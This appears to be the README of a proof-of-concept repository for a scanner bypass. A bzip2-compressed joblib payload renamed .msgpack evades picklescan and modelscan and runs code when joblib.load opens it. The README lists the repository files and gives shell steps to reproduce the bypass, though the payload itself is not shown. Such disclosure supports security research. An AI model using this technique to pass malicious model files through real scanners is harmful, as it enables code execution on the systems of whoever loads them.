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.msgpack)
Bypass: picklescan 1.0.4 + modelscan 0.8.8
Modes bypassed: all 4 (direct + directory scan for both scanners)
RCE via: joblib.load('malicious.msgpack')
Technique: bzip2-compressed joblib payload
Tested: 2026-06-25malicious.msgpack — bzip2-compressed joblib payload with .msgpack extensionpoc-msgpack.py — reproduction scriptREADME.md — this file1pip install picklescan modelscan joblib
2
3python3 poc-msgpack.py
4
5picklescan -p malicious.msgpack
6picklescan -p .
7modelscan -p malicious.msgpack
8modelscan -p .
9
10python3 -c "
11import joblib
12print('--- BEFORE LOAD ---')
13joblib.load('malicious.msgpack')
14print('--- AFTER LOAD ---')
15"